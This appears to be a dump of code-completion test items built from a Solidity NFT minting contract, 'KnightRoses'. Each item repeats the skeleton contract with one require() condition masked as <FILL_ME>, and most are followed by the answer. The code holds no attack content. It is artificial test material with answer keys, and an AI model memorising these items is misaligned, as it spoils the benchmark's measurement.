import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
require(saleState == Stage.KnightList, "KnightList mint is not open yet!");
require(<FILL_ME>)
incrementRedemptionsKnightList(_amountOfKnight);
_safeMint(msg.sender, _amountOfKnight);
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
| getRedemptionsKnightList()+_amountOfKnight<=maxByWalletPerKnightSale,"Exceeded max available to purchase" | 183,049 | getRedemptionsKnightList()+_amountOfKnight<=maxByWalletPerKnightSale |
"Vip claim failed. This address is not allowed to mint" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
require(saleState == Stage.KnightVIP, "Vip mint is not open yet!");
require(<FILL_ME>)
require(getRedemptionsVipList() + _amountOfKnight <= _vipList[msg.sender], "Exceeded max available to purchase");
incrementRedemptionsVipList(_amountOfKnight);
_safeMint(msg.sender, _amountOfKnight);
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
| _vipList[msg.sender]!=0,"Vip claim failed. This address is not allowed to mint" | 183,049 | _vipList[msg.sender]!=0 |
"Exceeded max available to purchase" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
require(saleState == Stage.KnightVIP, "Vip mint is not open yet!");
require(_vipList[msg.sender] != 0, "Vip claim failed. This address is not allowed to mint");
require(<FILL_ME>)
incrementRedemptionsVipList(_amountOfKnight);
_safeMint(msg.sender, _amountOfKnight);
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
| getRedemptionsVipList()+_amountOfKnight<=_vipList[msg.sender],"Exceeded max available to purchase" | 183,049 | getRedemptionsVipList()+_amountOfKnight<=_vipList[msg.sender] |
"Reached Max Supply" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
import "../node_modules/@openzeppelin/contracts/access/Ownable.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "../node_modules/@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "../node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./ERC721A.sol";
import "./extensions/ERC721AQueryable.sol";
contract KnightRoses is ERC721A, ERC721AQueryable, Ownable, ReentrancyGuard {
using ECDSA for bytes32;
using SafeMath for uint256;
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5005;
uint256 public constant MAX_SALE_SUPPLY = 4800;
uint256 public constant MINT_PRICE = 0.03 ether;
uint8 public maxByWalletPerPublic = 5;
uint8 public maxByWalletPerKnightSale = 1;
enum Stage {
SaleClosed,
KnightVIP,
KnightList,
Public
}
Stage public saleState = Stage.SaleClosed;
string public baseTokenURI;
string public notRevealedUri;
string public baseExtension = ".json";
bool public revealed = false;
mapping(address => uint8) private _vipList;
bytes32 private _knightListMerkleRoot;
constructor() ERC721A("Knight&Roses", "Knights") {}
////////////////////
// MINT FUNCTIONS //
////////////////////
function mint(uint8 _amountOfKnight, bytes32[] memory _proof) public payable mintIsOpen nonContract nonReentrant{
}
function _publicMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function _knightListMint(uint8 _amountOfKnight) internal mintIsOpen {
}
function mintVIP(uint8 _amountOfKnight) public mintIsOpen nonReentrant{
}
////////////////////
// OWNER FUNCTIONS //
////////////////////
function setMaxByWalletPerPublic(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxByWalletPerKnightSale(uint8 newMaxByWallet) external onlyOwner {
}
function setMaxVipListRedemptions(
address[] calldata _addresses,
uint8 _redemptions
) external onlyOwner {
}
function setKnightListMerkleRoot(bytes32 newMerkleRoot_) external onlyOwner {
}
function setStage(Stage _saleState) public onlyOwner {
}
function setReveal(bool _setReveal) public onlyOwner {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reserveMint(address to, uint8 _amountOfKnight) public onlyOwner nonReentrant mintIsOpen{
require(<FILL_ME>)
_safeMint(to, _amountOfKnight);
}
function airdrop(
address[] calldata _addresses,
uint8 _amountOfKnight
) external onlyOwner nonReentrant mintIsOpen {
}
function withdraw() public onlyOwner nonReentrant {
}
////////////////////
// OVERRIDES //
////////////////////
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override(ERC721A, IERC721A)
returns (string memory)
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
/******************** READ ********************/
function numberMinted(address owner) public view returns (uint256) {
}
function nextTokenId() public view returns (uint256) {
}
function baseURI() public view returns (string memory) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function toString(uint256 x) public pure returns (string memory) {
}
function getOwnershipOf(uint256 index) public view returns (TokenOwnership memory) {
}
function getOwnershipAt(uint256 index) public view returns (TokenOwnership memory) {
}
function totalMinted() public view returns (uint256) {
}
function totalBurned() public view returns (uint256) {
}
function numberBurned(address owner) public view returns (uint256) {
}
function getAvailableForMintByCurrentStage(address checkedAddress) public view returns (uint8) {
}
function checkVipList(address checkedAddress) public view returns (address, uint8) {
}
/******************** MODIFIERS ********************/
modifier mintIsOpen() {
}
modifier nonContract() {
}
//////////////////////
// GETTER FUNCTIONS //
//////////////////////
/**
* @notice Unpack and get number of viplist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsVipList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsKnightList() private view returns (uint8) {
}
/**
* @notice Unpack and get number of knightlist token mints redeemed by caller
* @return number of allowlist redemptions used
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, public and knightlist redemptions) we need to pack and unpack three uint8s into a single uint24.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function getRedemptionsPublic() private view returns (uint8) {
}
//////////////////////
// HELPER FUNCTIONS //
//////////////////////
/**
* @notice Pack three uint8s (viplist, allowlist and public redemptions) into a single uint24 value
* @return Packed value
* @dev Performs shift and bit operations to pack two uint8s into a single uint24
*/
function packMintRedemptions(
uint8 _vipMintRedemptions,
uint8 _knightListMintRedemptions,
uint8 _publicMintRedemptions
) private pure returns (uint24) {
}
/**
* @notice Unpack a single uint24 value into thr uint8s (vip, knightList and public redemptions)
* @return vipMintRedemptions knightListMintRedemptions publicMintRedemptions Unpacked values
* @dev Performs shift and bit operations to unpack a single uint64 into two uint32s
*/
function unpackMintRedemptions(uint64 _mintRedemptionPack)
private
pure
returns (uint8 vipMintRedemptions, uint8 knightListMintRedemptions, uint8 publicMintRedemptions)
{
}
/**
* @notice Increment number of viplist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsVipList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of knightlist token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public redemptions) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsKnightList(uint8 _numToIncrement) private {
}
/**
* @notice Increment number of public token mints redeemed by caller
* @dev We cast the _numToIncrement argument into uint8, which will not be an issue as
* mint quantity should never be greater than 2^8 - 1.
* @dev Number of redemptions are stored in ERC721A auxillary storage, which can help
* remove an extra cold SLOAD and SSTORE operation. Since we're storing two values
* (vip, knightlist and public) we need to pack and unpack two uint8s into a single uint64.
* See https://chiru-labs.github.io/ERC721A/#/erc721a?id=addressdata
*/
function incrementRedemptionsPublic(uint8 _numToIncrement) private {
}
/**
* @notice Prevent accidental ETH transfer
*/
fallback() external payable {
}
/**
* @notice Prevent accidental ETH transfer
*/
receive() external payable {
}
}
/**
* Function not implemented
*/
error NotImplemented();
